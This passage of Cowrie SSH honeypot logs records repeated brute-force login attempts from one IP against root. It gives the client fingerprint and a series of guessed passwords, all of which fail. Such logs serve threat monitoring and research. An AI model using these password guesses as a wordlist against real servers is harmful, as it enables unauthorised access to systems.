{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":41132,"dst_ip":"10.17.0.5","dst_port":22,"session":"b77133f53c54","protocol":"ssh","message":"New connection: 60.165.124.241:41132 (10.17.0.5:22) [session: b77133f53c54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:44.486755Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:44.491837Z","src_ip":"60.165.124.241","session":"b77133f53c54","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:44.728666Z","src_ip":"60.165.124.241","session":"b77133f53c54","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Yang1234","message":"login attempt [root/Yang1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:45.444935Z","src_ip":"60.165.124.241","session":"b77133f53c54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:46.685216Z","src_ip":"60.165.124.241","session":"b77133f53c54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":44016,"dst_ip":"10.17.0.5","dst_port":22,"session":"e75e50666686","protocol":"ssh","message":"New connection: 60.165.124.241:44016 (10.17.0.5:22) [session: e75e50666686]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:46.917663Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:46.922946Z","src_ip":"60.165.124.241","session":"e75e50666686","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:47.162699Z","src_ip":"60.165.124.241","session":"e75e50666686","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin8080","message":"login attempt [root/admin8080] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:47.879485Z","src_ip":"60.165.124.241","session":"e75e50666686","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:49.118681Z","src_ip":"60.165.124.241","session":"e75e50666686","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":47090,"dst_ip":"10.17.0.5","dst_port":22,"session":"a1be0b5d8784","protocol":"ssh","message":"New connection: 60.165.124.241:47090 (10.17.0.5:22) [session: a1be0b5d8784]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:49.381801Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:49.386423Z","src_ip":"60.165.124.241","session":"a1be0b5d8784","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:49.648529Z","src_ip":"60.165.124.241","session":"a1be0b5d8784","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin123@123","message":"login attempt [root/admin123@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:50.432102Z","src_ip":"60.165.124.241","session":"a1be0b5d8784","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:52.319946Z","src_ip":"60.165.124.241","session":"a1be0b5d8784","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":51142,"dst_ip":"10.17.0.5","dst_port":22,"session":"b08d681fb6e3","protocol":"ssh","message":"New connection: 60.165.124.241:51142 (10.17.0.5:22) [session: b08d681fb6e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:52.562707Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:52.567126Z","src_ip":"60.165.124.241","session":"b08d681fb6e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:52.819551Z","src_ip":"60.165.124.241","session":"b08d681fb6e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qwe!@#QWE","message":"login attempt [root/123qwe!@#QWE] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:53.584568Z","src_ip":"60.165.124.241","session":"b08d681fb6e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:54.841594Z","src_ip":"60.165.124.241","session":"b08d681fb6e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":54314,"dst_ip":"10.17.0.5","dst_port":22,"session":"9eff729cfeb9","protocol":"ssh","message":"New connection: 60.165.124.241:54314 (10.17.0.5:22) [session: 9eff729cfeb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:55.086681Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:55.091425Z","src_ip":"60.165.124.241","session":"9eff729cfeb9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:55.341996Z","src_ip":"60.165.124.241","session":"9eff729cfeb9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"oelinux123","message":"login attempt [root/oelinux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:56.099783Z","src_ip":"60.165.124.241","session":"9eff729cfeb9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:57.353077Z","src_ip":"60.165.124.241","session":"9eff729cfeb9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":57360,"dst_ip":"10.17.0.5","dst_port":22,"session":"e9c5e82a1c85","protocol":"ssh","message":"New connection: 60.165.124.241:57360 (10.17.0.5:22) [session: e9c5e82a1c85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:57.618723Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:57.623976Z","src_ip":"60.165.124.241","session":"e9c5e82a1c85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:57.884016Z","src_ip":"60.165.124.241","session":"e9c5e82a1c85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dcc8080990a.","message":"login attempt [root/dcc8080990a.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:58.648777Z","src_ip":"60.165.124.241","session":"e9c5e82a1c85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:59.896533Z","src_ip":"60.165.124.241","session":"e9c5e82a1c85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":60648,"dst_ip":"10.17.0.5","dst_port":22,"session":"93f8a48b2876","protocol":"ssh","message":"New connection: 60.165.124.241:60648 (10.17.0.5:22) [session: 93f8a48b2876]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:00.147438Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:00.152914Z","src_ip":"60.165.124.241","session":"93f8a48b2876","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:00.403833Z","src_ip":"60.165.124.241","session":"93f8a48b2876","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gay","message":"login attempt [root/gay] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:01.162758Z","src_ip":"60.165.124.241","session":"93f8a48b2876","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:02.422347Z","src_ip":"60.165.124.241","session":"93f8a48b2876","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":35326,"dst_ip":"10.17.0.5","dst_port":22,"session":"9bfa465b01c2","protocol":"ssh","message":"New connection: 60.165.124.241:35326 (10.17.0.5:22) [session: 9bfa465b01c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:02.642749Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:02.648824Z","src_ip":"60.165.124.241","session":"9bfa465b01c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:02.887338Z","src_ip":"60.165.124.241","session":"9bfa465b01c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Huawei12#$","message":"login attempt [root/Huawei12#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:03.608805Z","src_ip":"60.165.124.241","session":"9bfa465b01c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:04.849920Z","src_ip":"60.165.124.241","session":"9bfa465b01c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":38496,"dst_ip":"10.17.0.5","dst_port":22,"session":"e1004f6ab67f","protocol":"ssh","message":"New connection: 60.165.124.241:38496 (10.17.0.5:22) [session: e1004f6ab67f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:05.086270Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:05.091836Z","src_ip":"60.165.124.241","session":"e1004f6ab67f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha